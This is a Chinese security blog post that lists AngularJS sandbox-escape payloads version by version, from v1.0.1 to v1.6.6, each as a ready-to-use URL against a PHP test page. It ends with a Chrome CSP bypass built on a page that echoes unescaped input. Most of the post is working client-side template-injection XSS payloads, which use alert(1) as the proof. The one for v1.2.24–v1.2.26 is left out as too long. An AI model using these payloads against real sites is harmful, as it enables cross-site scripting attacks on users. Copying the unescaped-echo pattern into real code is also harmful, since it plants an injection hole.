AngularJS沙盒逃逸姿势总结

  • 内容
  • 相关

0x01 测试环境

<html ng-app>
<head>
    <script src="https://code.angularjs.org/{version}/angular.min.js"></script>
</head>
<body>
    <p>
    <?php
        $q = $_GET['q'];
        echo htmlspecialchars($q,ENT_QUOTES);
    ?>
</p>   
</body>
</html>

0x02 逃逸姿势

2.1 v1.0.1-v1.1.5

http://127.0.0.1/test/xss/angular.php?q={{ constructor.constructor('alert(1)')() }} 

2.2 v1.2.0-v1.2.18

http://127.0.0.1/test/xss/angular.php?q={{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }} 

2.3 v1.2.19-v1.2.23

http://127.0.0.1/test/xss/angular.php?q={{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)  }} 

2.4 v1.2.24-v1.2.26

2017-09-05

实在太长了。。。。

2.5 v1.2.27-v1.2.29/v1.3.0-v1.3.20

http://127.0.0.1/test/xss/angular.php?q={{ {}.")));alert(1)//"; }} 

实际测试为v1.2.20-v1.2.32/v1.3.0-v1.3.20均生效。

2.6 v1.4.0-v1.4.5(仅chrome)

http://127.0.0.1/test/xss/angular.php?q={{ o={};l=o[['__lookupGetter__']];(l=l)('event')().target.defaultView.location='javascript:alert(1)'; }} 

2.7 v1.4.5-1.5.8 (仅chrome)

http://127.0.0.1/test/xss/angular.php?q={{ x={y:''.constructor.prototype};x.y.charAt=[].join;[1]|orderBy:'x=alert(1)' }} 

2.8 v1.6.0-1.6.6

先知xss挑战赛学到的一个姿势

http://127.0.0.1/test/xss/angular.php?q={{ [].pop.constructor('alert(1)')() }} 

2.9 csp bypass (仅chrome v1.4.0-v1.6.6)

<html ng-app>
<head>
    <?php
        header("Content-Security-Policy:default-src 'self';script-src code.angularjs.org 'self'");
    ?>
    <script src="https://code.angularjs.org/{version}/angular.min.js"></script>
</head>
<body>
    <p>
    <?php
        echo $_GET['q'];
    ?>
</p>   
</body>
</html>
http://127.0.0.1/test/xss/angular.php?q=<input+autofocus ng-focus="$event.path|orderBy:'!x?[].constructor.from([x=1],alert):0'"> 

2.10

后来,由于一直被绕过,AngularJS干脆废除了沙盒机制。。。

ps. 就冲这些绕过姿势,没学js是正确的选择。。。

0x03 参考资料

AngularJS客户端模板注入

AngularJS-沙箱逃逸和XSS

基于DOM的AngularJS沙箱逃逸技术

作者:seaii

本文标签:

版权声明:若无特殊注明,本文皆为《颓废》原创,转载请保留文章出处。

收录状态:[百度已收录] | [360已收录] | [搜狗已收录]

本文链接:AngularJS沙盒逃逸姿势总结 - https://www.0dayhack.com/post-672.html

严重声明:本站内容来自于互联网,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规,黑客不是骇客,黑客维护网络安全

发表评论

电子邮件地址不会被公开。 必填项已用*标注